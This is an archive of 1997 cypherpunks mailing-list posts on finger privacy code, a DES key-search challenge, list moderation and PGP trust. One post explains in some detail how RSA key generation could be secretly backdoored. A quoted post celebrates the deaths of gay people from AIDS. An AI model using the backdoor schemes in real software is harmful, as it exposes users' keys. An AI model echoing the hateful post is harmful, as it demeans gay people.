replace the finger program itself.  It can be made to recognise
when it is being run by "nobody" and behave differently
from when run by another user.

Source at the end of this file.  (Bashed out fairly quickly
starting from a utmp-eraser I made for a luser who wouldn't
tolerate wall messages from shutdown.)

I have (among other things) an extension to TCP-wrappers
(a new hosts_access.c file), and a prog to find disk space wasted by duplicated files.  
(mail me with Subject: "send goodies" for these.)

 -- Peter Allan   peter.allan@aeat.co.uk





Date: 23 Jan 1997 17:22:10 -0800
From: Steven L Baur <steve@miranova.com>
> cfingerd is not a safe program.  It must run as root, and has some big
> problems.

> On Tue, 17 Sep 1996, Administrador da Rede wrote:
> > I use the newest version of cfinger, setted to not allow general finger, just
> > specific ones. Does anyone knows how this person did that ? I hope I can
> > find out, otherwise, bye bye finger service.

> Badly.
> I have sent the author a letter, but never got any reply back (it's 3
> months later now!), so I just take the opportunity to warn the public
> against its use.



/*  
*  
*  compile and test myfinger
*  
*  	cc  -C -o myfinger myfinger.c
*  
*  
*  (assuming the standard finger is /usr/ucb/finger)
*     cp /usr/ucb/finger /usr/ucb/finger.real
*     cp myfinger /usr/ucb/finger
*  
*  
*  (if using TCP wrapper reverse-fingers, make them NOT nobody,
*   but another id such as nobody2.)
*  
*  I disclaim any disasters........
*  
*/  

/*
 *
 *   my finger program - local only, to be less informative than /usr/ucb/finger
 *   
 */


#undef _utmp_h
#define TRUE  1
#define FALSE 0
#define FAKE 1
#define WIPE 2
#define UTMP "/etc/utmp"


#include <stdio.h>
#include <pwd.h>
#include "utmp.h"
#include <lastlog.h>

main(argc, argv, env)
int  argc;
char **argv;
char **env;
{
	int  i, listed;
	struct passwd *pwent;

	if (argc < 1)
		exit(0);	/* beat sneaks */

         /*  If run by "nobody" (uid=65534) assume this is a remote finger */
         /* otherwise run the standard finger command */
         if (65534!=getuid()) {
                       execv("/usr/ucb/finger.real", argv);
                       /** if we get here exec failed, so we default to my finger  **/
         }


	printf("Login       Name          Where\n");


	listed = 1;
	while ((pwent = getpwent()) != NULL) {

		if (argc > 1) {
		/*
		 * if there are args, and  name is NOT one of them, we skip
		 * it
		 */
			listed = 0;
			for (i = 1; (!listed) && (i < argc); i++) {
				if (!strcmp(argv[i], pwent->pw_name))
					listed = 1;
			}
		}
		if (listed)
			info(pwent);
	}

}


info(pwent)
struct passwd *pwent;
{
	long lpos;
	FILE *fp;
	int  i;
	struct utmp *sp;
	struct utmp utmpentry;
        char *login,*gecos;
      
        login=pwent->pw_name;
        gecos=pwent->pw_gecos;


	sp = &utmpentry;

	if ((fp = fopen(UTMP, "r")) == NULL) {
		fprintf(stderr, "failed to open utmp for reading\n");
		exit(1);
	}


	i = fseek(fp, 0, 0);
	if (i) {
		puts("failed to fseek start of file");
		exit(2);
	}

	do {
/* get current pos in file using ftell */
		lpos = ftell(fp);

/* fread the struct */
		fread(sp, sizeof utmpentry, 1, fp);


		if (!feof(fp)) {
			if (!strcmp(login, sp->ut_name)) {
				if (!nonuser(utmpentry)) {
                                        utmpentry.ut_host[15]='\0';
					printf("%s\t%s\t%s\t%s\n",login,gecos,sp->ut_line,sp->ut_host);
				}
			}
		}



/* on error we close & exit */
		if (ferror(fp)) {
			fprintf(stderr, " file error! so failed to find our session in utmp\n");
			fclose(fp);
			exit(3);
		}

	} while (!feof(fp));



	fclose(fp);

}
/* end */





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Trei <ptrei@ACM.ORG>
Date: Fri, 24 Jan 1997 10:56:52 -0800 (PST)
To: cryptography@c2.net
Subject: [DES] DES Key Recovery Project, Progress Report #7
Message-ID: <199701241856.KAA03668@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


DES Key Recovery Project, Progress Report #7
Friday, Jan 23 1997
Peter Trei

Next Tuesday morning, 9AM, RSA is scheduled to release 
the 'real' $10,000 DES challenge data. 

My software is in a state where it can be used for the
challenge, though there is room for improvement. 

It currently tests about 185,000 keys/sec on my 90MHz
machine. This translates to about 205,000 keys/sec on
a 100 MHz machine. I still have to replace my DES round,
which takes 25 clock cycles, with Svend Mikkelsen's, which
takes only 18. Since the DES rounds are well over 80% of
the work,  this should boost the speed to over 
250,000 keys/sec at 100 MHz. If I'm lucky, I'll perform
this conversion over the weekend.

I've sent out early betas to a few people for porting,
but have had no feedback yet.

I've approached several restricted FTP sites as possible
distribution sites, and have had some positive responses,
but nothing definitive yet. I'm being pretty strict in
my interpretation of EAR for this purpose.

In advance of the challenge, I'm willing to email copies
as a ~100k uuencoded zip file to people, but to do so, you must
comply with the following:

1. Send the request to ptrei@acm.org, NOT trei@process.com.
   I won't be able to read the latter for the next 10 days.

2. Include your 'true name' and residence address, as
   well as the email address to which it should be sent,
   .
3. A statement of your nationality. I'll mail it only
   to US Citizens, Canadian citizens, and US Green Card 
   holders, residing in the US or Canada.

4. A statement to the effect that you understand that this
   is restricted code, and that cannot be exported or 
   given to non-US/Canadian citizens

I'm going to hold this information in strict confidence, and
will surrender it only to a valid court order. It's similar
to what you have to go through to download the domestic
version of Netscape Navigator or PGP from MIT.

You are free to distribute the software further. If you've
complied with the requirements above, I believe that at that
point I've done more than due diligence under ITAR/EAR.

My software gets it's challenge data either from a text
file cut-and-pasted from the RSA page, or from internally
stored data. Tuesday night, I'll recompile the program with
the real challenge data, and redistribute.

My version runs on WinNT or Win95, on 486's and above. It's
set up as a console app, which can run in background. I don't
yet have a version for Win 3.1 or below 486, but may do in
the future.

The software is set up in such a way that it can be used
either on a standalone system, or in a LAN environment with
shared disks.  The latter has a slightly more complex setup, 
but will allow many machines to share one executable and
results file. 

I envisage people installing one copy on a shared disk in
their workplace, and then adding the appropriate commands
to the autoexec.bat file of every machine they can, so the 
program will start running whenever the machine is booted.
(I HOPE you get permission!).

The distribution includes both source and the Win32 executable.
The source includes both fast Intel assembler, and much slower
generic 'C'. There's nothing that's really Microsoft specific
in the code - it should be easy to port to other systems with
32 bit or better processors. I'm attempting to do a 'PGP style' 
distribution with a signed, nested zip file.

The signing key I'm using is available at
http://www.ziplink.net/users/trei/crypto.html
(I hope I've done this right).

I'm only going to send out signed archives. If you get one
where the signature fails, or one lacking a signature, I
repudiate it - and you should be suspicous of it.

I'll be trying to set up that URL as a page describing the
project, with info on other efforts, and FAQs. 

Once the challenge starts, I hope you'll all evangelize it
to your friends and acquaintences. I'd like to see 100,000
machines trying for the $10,000.

All next week I'm in the San Francisco area (I'm flying out in
a couple hours). I'll be attending the Verisign Partner's Day on
Monday, and I'll be at the RSA Data Security Conference Tuesday
through Friday. I'll be trying to read cypherpunks and coderpunks
at least once a day, along with checking mail to ptrei@acm.org.
I can't read cryptography@c2.net from an archive, so I will not
see it unless it cc's ptrei@acm.org (Perry, could you temporarily
subscribe ptrei@acm.org?)

Happy hunting!

Peter Trei
ptrei@acm.org

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Trei <ptrei@ACM.ORG>
Date: Fri, 24 Jan 1997 11:25:28 -0800 (PST)
To: cryptography@c2.net
Subject: [DES] DES Key Recovery Project, Progress Report #7
Message-ID: <199701241925.LAA04648@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


DES Key Recovery Project, Progress Report #7
Friday, Jan 23 1997
Peter Trei

Next Tuesday morning, 9AM, RSA is scheduled to release 
the 'real' $10,000 DES challenge data. 

My software is in a state where it can be used for the
challenge, though there is room for improvement. 

It currently tests about 185,000 keys/sec on my 90MHz
machine. This translates to about 205,000 keys/sec on
a 100 MHz machine. I still have to replace my DES round,
which takes 25 clock cycles, with Svend Mikkelsen's, which
takes only 18. Since the DES rounds are well over 80% of
the work,  this should boost the speed to over 
250,000 keys/sec at 100 MHz. If I'm lucky, I'll perform
this conversion over the weekend.

I've sent out early betas to a few people for porting,
but have had no feedback yet.

I've approached several restricted FTP sites as possible
distribution sites, and have had some positive responses,
but nothing definitive yet. I'm being pretty strict in
my interpretation of EAR for this purpose.

In advance of the challenge, I'm willing to email copies
as a ~100k uuencoded zip file to people, but to do so, you must
comply with the following:

1. Send the request to ptrei@acm.org, NOT trei@process.com.
   I won't be able to read the latter for the next 10 days.

2. Include your 'true name' and residence address, as
   well as the email address to which it should be sent,
   .
3. A statement of your nationality. I'll mail it only
   to US Citizens, Canadian citizens, and US Green Card 
   holders, residing in the US or Canada.

4. A statement to the effect that you understand that this
   is restricted code, and that cannot be exported or 
   given to non-US/Canadian citizens

I'm going to hold this information in strict confidence, and
will surrender it only to a valid court order. It's similar
to what you have to go through to download the domestic
version of Netscape Navigator or PGP from MIT.

You are free to distribute the software further. If you've
complied with the requirements above, I believe that at that
point I've done more than due diligence under ITAR/EAR.

My software gets it's challenge data either from a text
file cut-and-pasted from the RSA page, or from internally
stored data. Tuesday night, I'll recompile the program with
the real challenge data, and redistribute.

My version runs on WinNT or Win95, on 486's and above. It's
set up as a console app, which can run in background. I don't
yet have a version for Win 3.1 or below 486, but may do in
the future.

The software is set up in such a way that it can be used
either on a standalone system, or in a LAN environment with
shared disks.  The latter has a slightly more complex setup, 
but will allow many machines to share one executable and
results file. 

I envisage people installing one copy on a shared disk in
their workplace, and then adding the appropriate commands
to the autoexec.bat file of every machine they can, so the 
program will start running whenever the machine is booted.
(I HOPE you get permission!).

The distribution includes both source and the Win32 executable.
The source includes both fast Intel assembler, and much slower
generic 'C'. There's nothing that's really Microsoft specific
in the code - it should be easy to port to other systems with
32 bit or better processors. I'm attempting to do a 'PGP style' 
distribution with a signed, nested zip file.

The signing key I'm using is available at
http://www.ziplink.net/users/trei/crypto.html
(I hope I've done this right).

I'm only going to send out signed archives. If you get one
where the signature fails, or one lacking a signature, I
repudiate it - and you should be suspicous of it.

I'll be trying to set up that URL as a page describing the
project, with info on other efforts, and FAQs. 

Once the challenge starts, I hope you'll all evangelize it
to your friends and acquaintences. I'd like to see 100,000
machines trying for the $10,000.

All next week I'm in the San Francisco area (I'm flying out in
a couple hours). I'll be attending the Verisign Partner's Day on
Monday, and I'll be at the RSA Data Security Conference Tuesday
through Friday. I'll be trying to read cypherpunks and coderpunks
at least once a day, along with checking mail to ptrei@acm.org.
I can't read cryptography@c2.net from an archive, so I will not
see it unless it cc's ptrei@acm.org (Perry, could you temporarily
subscribe ptrei@acm.org?)

Happy hunting!

Peter Trei
ptrei@acm.org

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Fri, 24 Jan 1997 10:41:35 -0800 (PST)
To: cypherpunks-owner@toad.com
Subject: Vulis posting on the moderated list
Message-ID: <199701241841.KAA03202@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	Umm... is something going wrong with the moderation routines? Sandy
also had a posting that he specifically _said_ was going to the flames &
unedited lists _only_ that got to me.
	-Allen

From:	IN%"dlv@bwalk.dm.com"  "Dr.Dimitri Vulis KOTM" 24-JAN-1997 12:43:05.89
To:	IN%"cypherpunks@toad.com"
CC:	
Subj:	Homosexuals

Received: from toad.com by mbcl.rutgers.edu (PMDF #12194) id
 <01IELB4M5E1C94FEIV@mbcl.rutgers.edu>; Fri, 24 Jan 1997 12:42 EDT
Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id GAA25350; Fri,
 24 Jan 1997 06:14:13 -0800 (PST)
Date: Fri, 24 Jan 97 07:17:13 EST
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Homosexuals
Sender: owner-cypherpunks@toad.com
To: cypherpunks@toad.com
Message-id: <199701241414.GAA25350@toad.com>
X-Envelope-to: EALLENSMITH
Precedence: bulk

fuck you <satan_is_a_hacker@juno.com> writes in the censored list:

> If anyone has any text files on the following topics please send them.
...
> Anything underground

Anything?  My good friend TRRCJ3 reports from San Francisco that the
city is much nicer now that so many homosexuals are 6 feet under.

Thank God for AIDS.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dsmith@prairienet.org>
Date: Fri, 24 Jan 1997 13:14:16 -0800 (PST)
To: shamrock@netcom.com
Subject: Re: Encrypting ZIP disks
Message-ID: <199701242114.NAA07698@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm playing with SecureDrive; the problem is not with using it
with a Zip disk so much as it is trying to get it to play nice
with Windows 95.

ObCrypto: Check this out (from the readme.txt that comes on
every Zip disk before you delete it)

7.  Secure sensitive files.
     To keep sensitive or confidential information safe, store it
     on a Zip disk and use your Zip Tools software to assign a
     password that must be used in order to read from or write to
     the disk.  At work, you can protect sensitive information
     such as personnel files, company directories, and product
     plans and designs.  At home, you can secure personal
     information such as tax records, budgets, and computerized
     checkbooks.

Iomega hasn't been willing to tell me how the password is stored,
so this looks like a big boiling pot of snake oil.  Anyone out
there played with Zip drive/disk internals and know how it works?

dave





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 24 Jan 1997 13:12:34 -0800 (PST)
To: "David E. Smith" <dsmith@prairienet.org>
Subject: Re: Encrypting ZIP disks
Message-ID: <199701242112.NAA07638@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


David E. Smith wrote:
> I'm playing with SecureDrive; the problem is not with using it
> with a Zip disk so much as it is trying to get it to play nice
> with Windows 95.
 
> Iomega hasn't been willing to tell me how the password is stored,
> so this looks like a big boiling pot of snake oil.  Anyone out
> there played with Zip drive/disk internals and know how it works?
> 
Dave,
  I came across a 'cracker' program that claims to be able to
hack the SecureDrive encryption system.
  Off the top of my head, I think it was called ZipCracker, or 
something similar in name to one of the PKZip encryption
cracking programs.  I found it on one of the hacker websites,
and there was a text file regarding SecureDrive which went
into some detail re: both the hardware and software aspects
of the Zip drives and the encryption itself.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Genocide <gen2600@aracnet.com>
Date: Fri, 24 Jan 1997 14:43:02 -0800 (PST)
To: fuck you <satan_is_a_hacker@juno.com>
Subject: Re: your mail
Message-ID: <199701242243.OAA10349@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 24 Jan 1997, fuck you wrote:

> Are their any H/ P/ V/ A/ C ers   on this list??

	Yes.

Genocide
Head of the Genocide2600 Group


============================================================================
		   **Coming soon! www.Genocide2600.com!
         ____________________
  *---===|                  |===---*
  *---===|     Genocide     |===---*     "You can be a king or a street
  *---===|       2600       |===---*   sweeper, but everyone dances with the
  *---===|__________________|===---*              Grim Reaper."
                                       
Email:  gen2600@aracnet.com	Web:  http://www.aracnet.com/~gen2600

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
	It is by caffeine alone that I set my mind in motion.
	It is by the Mountain Dew that the thoughts acquire speed,
	the lips acquire stains, the stains become a warning.
	It is by caffeine alone that I set my mind in motion.
================================================================================







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mullen, Patrick <MullenP@ndhm06.ndhm.gtegsc.com>
Date: Fri, 24 Jan 1997 13:12:36 -0800 (PST)
To: "'ichudov@algebra.com>
Subject: RE: Rejection policy of the Cypherpunks maiing list
Message-ID: <199701242112.NAA07643@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor sez:
>Sandy also states rather plainly that crypto-relevance is not the
>criterion by which he moderates this list. I question this policy.

I question this, too.  What, exactly, is the criterion?

Cypherpunks charter sez:
The cypherpunks list is a forum for discussing personal defenses for
privacy in the digital domain.  

<Keep in mind I didn't read the described article> How does personal
attacks
through forged and anonymous mail not fit this topic?

However, I _do_ have to say such a topic would have to keep with a 
descriptive attitude, rather than demonstrative...  :-)

On another note, even though some messages which may be of interest may
get lost in the shuffle, I do like the reduced volume, esp. since I get
listmail
at work.  Unfortunately, the reduced mail is a result of censorship...
:-(

~ Patrick


>----------
>From: 	ichudov@algebra.com[SMTP:ichudov@algebra.com]
>Sent: 	Friday, January 24, 1997 2:33 AM
>To: 	Cypherpunks
>Subject: 	Rejection policy of the Cypherpunks maiing list
>
>I would like to start a thread to discuss the moderation and rejection 
>policy.
>
>My perfectly crypto-relevant article regarding possible attacks
>on human relationships with the use of forged mail and anonymous
>remailers, has been tossed out (sorted) into cypherpunks-flames 
>mailing list.
>
>You can receive a copy of my article by an email request.
>
>The explanation that Sandy Sandfort gave me mentioned that he rejected
>my message because it continued a thread where Sandy noticed instances
>of "flaming". Note that my message was free of any flames, including
>its quoted part.
>
>Sandy also states rather plainly that crypto-relevance is not the
>criterion by which he moderates this list. I question this policy.
>
>I would like to hear your opinions as to whether such policies satisfy
>the current readership.
>
>	- Igor.
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Fri, 24 Jan 1997 14:44:44 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Rejection policy of the Cypherpunks maiing list
Message-ID: <199701242244.OAA10411@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 24 Jan 1997, Toto wrote:

> Igor Chudov @ home wrote:

<snip>

> > The explanation that Sandy Sandfort gave me mentioned that he rejected
> > my message because it continued a thread where Sandy noticed instances
> > of "flaming". Note that my message was free of any flames, including
> > its quoted part.
> 
>   The standard of what constitutes a 'flame' seems to rest very much
> upon whom a comment is directed at, or merely 'vaguely toward'.  


Beauty, flames and censorship are all in the eyes of the beholder.  
However, by providing both "raw" and "cooked" versions of the list, Sandy 
is allowing readers to choose for themselves whether or not they want 
someone else's filters applied to their mailbox.  Personally, I choose to 
press the "Delete" key myself.

<snip>

> > Sandy also states rather plainly that crypto-relevance is not the
> > criterion by which he moderates this list.
> 
>   This was more than obvious to anyone who cared to cast an objective
> eye on the process, but their input was pooh-paah'd by the 'washed 
> masses'.

Note that Sandy also stated that the post in question would not be sent to 
the 'washed masses'.

> > I would like to hear your opinions as to whether such policies satisfy
> > the current readership.
> 
>   Like all of the 'opinions' that were expressed prior to the censorship
> of the list? I haven't seen any indication that these opinions were 
> given the slightest consideration.  This is not the readership's list.
> It is a private individual's list.

Agreed, and said private individual can do as s/he sees fit.  My only
objection is that the moderated version has the same name as the original
list (sounds like Rogers Cable's recent attempt at "Costs More Unless You 
Speak Up Now" channels).

<snip>

>   In short, I don't see the moderation as being 'fair', and I don't
> think it was ever meant to be.

Again, fairness is in the eyes of the beholder.  I don't object to the 
list being filtered, as long as everyone understands that this is 
happening.


What will happen, I wonder, if at the end of the trial period the number
of subscribers to the "raw" list outnumbers those who get the "cooked"
list, or vice versa?  Is that one of the criteria for determining the
"success" of the experiment? 

Cynthia

===============================================================
Cynthia H. Brown, P.Eng.
Ottawa, Ontario, Canada
E-mail:     cynthb@sonetis.com
Home Page:  http://www.sonetis.com/~cynthb/
PGP Key:    See Home Page
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aaron@herringn.com
Date: Sat, 25 Jan 1997 01:57:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cellular location...
Message-ID: <199701250957.BAA23610@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Presented in a "this will help 911" context. Still disconcerting.

[...]
Companies working on the technology to track cellular phone calls
have been given additional incentive with a Federal Communications
Commission order that all cell phone service companies have location
programs in place by the year 2001.
[...]

http://cnn.com/US/9701/22/911.rescue/index.html







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Fri, 24 Jan 1997 15:29:20 -0800 (PST)
To: frogfarm@yakko.cs.wmich.edu
Subject: (fwd) Re: PGP implementation source code
Message-ID: <199701242329.PAA11838@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[The discussion started with Pretty Safe Mail, the recent "PGP-compatible"
Mac program, and whether or not it was safe. Source code is not available.
Some authors noted that PSM was much slower than PGP, but so far lives up
to its promise of user-friendliness. A Win95 version is in the works.]

>From: Ian_Miller@bifroest.demon.co.uk (Ian Miller)
Newsgroups: comp.security.pgp.discuss,comp.security.pgp.resources
Subject: Re: PGP implementation source code (was "Imminent Death of PGP?" revisited)
Date: Fri, 24 Jan 1997 19:55:46 +0000
Lines: 66
Message-ID: <AF0EC44296683DACD@bifroest.demon.co.uk>

In article <5c2kap$1tu@topcat.uk.gdscorp.com>,
Steve Gilham <steveg@uk.gdscorp.com> wrote:

>PGP defines, but, IIRC does not inspect, a comment packet type.  This
>packet type could be added to a .pgp file and contain anything the
>implementor  wished (your plaintext secret key if it has been used in
>this instance of the program, any IDEA key used, your passphrase, if
>given) without any standard PGP implementation being aware of it 

The IDEA initialisation vector could also be used as a subliminal channel,
it is only 8 bytes but it could (for example) leak a random 60 bits of one
prime in your secret key with the remain 4 bits saying which set of 60
bits. 

Worse is the possibility that the program could put a back door into RSA
key generation to make the modulus trivially factorisable by someone in the
know.  There are a number of mechanisms for this of varying detectability
up to detectable only by reverse-engineering.
Here are some of the (endless) possibilities in order of increasing
sophistication:-
1) Make one of the primes a constant.  Factorise by dividing by this
number.  Detectable by inspection of public keys alone.  (For more details,
see my article "There are no common factors in the Public keyring", 13th
Jan in comp.security.pgp.announce.)

2) Select the first prime P at random but make second prime Q the smallest
prime larger than PK where K is a constant.  Factorise by searching from
root(N/K).  Probably detectable by suitable inspection of several secret
keys generated by the product, but (I think) undetectable from public keys
alone.

3) Select a random seed and using a good PRNG, make the rest of generation
process deterministic based on the seed.  Use the "deadbeef" technique to
select a modulus that has this seed as its least significant bytes. 
Factorise by extracting the seed from the modulus and repeating the
deterministic key generation.  This is detectable only by reverse
engineering.

4) Select a random seed and use a short key PKE key exchange system (e.g.
Elliptic curve) to generate a session key and a key exchange cyphertext. 
Use a key generation similar to (3) except that you seed the PRNG with the
session key and deadbeef to make a key ending in the key exchange
cyphertext.  
Factorise by extracting and decrypting the session key (requires a secret
key), and repeating the key generation.  Again this is only detectable by
reverse engineering, but even after executing the reverse engineering you
still cannot factor the keys generated because the program only contains
the public key not the secret key.

Method (4) is an interesting example of a "locked back-door".  There is
often an unstated assumption that back-doors have to be open.  i.e. If you
can find them you can get in.  It isn't always true.  Whereas it seems
intuitively unlikely, it is not inconceivable that there is a way of
putting a locked back-door into some forms of Feistel ciphers.  The NSA
would have been reluctant to put an open back-door into DES, but they would
not have hesitated to put in a locked back-door.  In my opinion the only
safe assumption is that they could and they did.

In cryptography you shouldn't trust your intuition, code with source or
unexplained algorithm components.

Ian

Ian_Miller@bifroest.demon.co.uk    FAI-D10204
PGP key 1024/FCE97719 FP: 2A 20 46 10 E5 96 27 40  91 B1 95 BA CA D3 BC 14
Antworten auf Deutsch waeren mir angenehm.

-- 
http://yakko.cs.wmich.edu/~frogfarm  ...for the best in unapproved information
Tell your friends 'n neighbors you read this on the evil pornographic Internet
"Where one burns books, one will also burn people eventually." -Heinrich Heine
People and books aren't for burning. No more Alexandrias, Auschwitzs or Wacos.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 24 Jan 1997 16:26:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Homo/bi/sexuals Most Destructive (fwd)
Message-ID: <199701250026.QAA13770@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Fri, 24 Jan 97 21:33:41 +0000
> From: "Attila T. Hun" <attila@primenet.com>
> Subject: Re: Homo/bi/sexuals Most Destructive

Much drivel about AIDS deleted.

>         One of the saddest commentaries on the entire problem is the 
>     man, a Pan-American flight steward, who was identified as carrier 
>     #1 by the Communicable Disease Center (CDC) in Atlanta; he died 

The correct term is 'Patient 0'.

                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Fri, 24 Jan 1997 16:10:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: (fwd) New keyserver available
Message-ID: <199701250010.QAA13349@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>From: tage@cc.uit.no (Tage Stabell-Kulo)
Newsgroups: comp.security.pgp.tech
Subject: New keyserver available
Date: 24 Jan 1997 16:11:26 GMT
Lines: 12
Message-ID: <5camve$3d4@news.uit.no>


A new PGP keyserver, still _very_ experimental, is available at
host dslab1.cs.uit.no at port 24162, use telnet(1).  In general it will 
find a key in a few seconds.  Your comments and suggestions are
solicited.


--
////        Tage Stabell-Kuloe         | e-mail: Tage@ACM.org          ////
/// Department of Computer Science/IMR | Phone : +47-776-44032         ///
// 9037  University of Tromsoe, Norway | Fax   : +47-776-44580         //
/       "'oe' is '\o' in TeX"          | URL:http://www.cs.uit.no/~tage/

-- 
http://yakko.cs.wmich.edu/~frogfarm ...for the best in unapproved information
"We think people like seeing somebody in a uniform on the porch."  -US Postal
spokeswoman, quoted in AP, 1/27/96. I don't know about you, but most people I
know who saw someone in uniform on their porch would pull out the shotgun...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 25 Jan 1997 01:57:07 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: greed and the internet
Message-ID: <199701250957.BAA23607@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>        The Internet will no no longer be the peoples net, and the
>    commercial greedies are establishing a faster, more secure
>    network with controlled access points; leaving the common man's
>    access in the mud, still paying the exorbitant rates on a pay
>    before play basis.  That, and it gives control of information to
>    the government --which, as we all know. is 'heavenly white'
>    -above sin.
>

Rather than being forced by pressures from the market, smaller ISPs appear
to be holding their own and in many cases thriving.  A significant number
of them have begun to form their own cooperatives to operate mini-NAPs,
mosty to aggregate local traffic and reduce unnecessary traffic to the
NAPs.  It isn't too far a stretch to envision that should this practive
become commonplace, these smaller ISPs could band together to create their
own Net overlay, bypassing the NAPs. This trend could spell trouble for
gov't agencies expecting to monitor Net traffic from only a few convenient
locations (i.e., NAPs).

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hugh Daniel <hugh@ecotone.toad.com>
Date: Sat, 25 Jan 1997 01:57:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Scandinavian Goverments provide PGP to postal customers...
Message-ID: <199701250957.BAA23608@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


  FYI:
>From: jsp@betz.biostr.washington.edu
>Sent: 	Friday, January 24, 1997 2:31 PM
>Subject: 	Meanwhile, back in the Free World...
>
>
>Encrypted Email For Finns, Swedes, Danes
>    by Sami Kuusela
>
>    4:43 pm PST 23 Jan 97 - While keeping a watchful eye on the emerging
>    American encryption policy, Scandinavian countries are embarking
>    on a joint project to implement the first international email security
>    service.
>
>    Nordic Post Security Service (NPSS) - involving Finland, Norway,
>    Sweden, and Denmark - hopes to provide secure email, and
>    officials say that soon every Nordic citizen can walk into the
>    nearest post office and sign up for it.
>
>    But no matter the success of the secure email system, the NPSS
>    project is a clear sign that, unlike the United States, Northern
>    Europe is moving forward with exporting encryption technology
>    across national barriers.
>
>    "Finnish policy has not been to start with regulations and fear of
>    Net issues," says Anu Lamberg, the head of the Information
>    Network Unit in the Finnish Ministry of Transport and
>    Communications. "The American discussion on this matter has
>    been funny to watch, but I hope nobody in Europe or Finland starts
>    to question the very basics of democracy."
>
>    Based on PGP, with no "third-party" key holder, the Nordic system
>    uses unbreakable RSA-algorithm encryption with a 1024-bit key.
>
>    However, some hardware is required. Because the key is on a
>    smartcard, users must have smartcard readers installed on their
>    computers, which aren't yet widely available. But Pdr Andler of
>    Finnish Hewlett Packard says that later this year, smartcard readers
>    will become standard on computers in Scandinavia. "It is a really
>    big help for users, who don't have to remember dozens of
>    passwords when using different kind of services," Andler says.
>
>    The project has been moderately successful in Finland - the first
>    Nordic country to offer the secure email - as the system isn't any
>    more difficult to use than a standard email program. All the user
>    has to do is click "send."
>
>    For project developers, using strong crypto was never an issue.
>    "From the very beginning we've been basing this on strong crypto,"
>    says Vesa-Pekka Moilanen, technical director for Finland Post, and
>    mastermind of the email project. "At first, the customers are going
>    to be mainly professionals," he says, "but quite soon private
>    individuals will start using it." But the use of secure email probably
>    won't be widespread until 1998 - if then.
>
>    "If strong crypto is banned it's going to have major effects on the
>    development of information society," says Risto Siilasmaa, the
>    CEO and president of DataFellows, one of the only makers of
>    encryption programs in Finland. The Finnish government awarded
>    DataFellows "most innovative company" honors in 1996. "But
>    nobody is going to limit strong crypto. I haven't met a single
>    leading Nordic official who says otherwise."
>
>    One question, though: What if a Nordic citizen enters the United
>    States with the email program installed on his or her laptop? For
>    now, Nordic officials are only beginning to contemplate the
>    ramifications.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tekmasta@global.california.com
Date: Sat, 25 Jan 1997 01:58:48 -0800 (PST)
To: Genocide <gen2600@aracnet.com>
Subject: Re: your mail
Message-ID: <199701250958.BAA23623@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:37 PM 1/24/97 -0800, you wrote:
>On Fri, 24 Jan 1997, fuck you wrote:
>
>> Are their any H/ P/ V/ A/ C ers   on this list??
>
>	Yes.
>
>Genocide
>Head of the Genocide2600 Group
>
>
>============================================================================
>		   **Coming soon! www.Genocide2600.com!
>         ____________________
>  *---===|                  |===---*
>  *---===|     Genocide     |===---*     "You can be a king or a street
>  *---===|       2600       |===---*   sweeper, but everyone dances with the
>  *---===|__________________|===---*              Grim Reaper."
>                                       
>Email:  gen2600@aracnet.com	Web:  http://www.aracnet.com/~gen2600
>
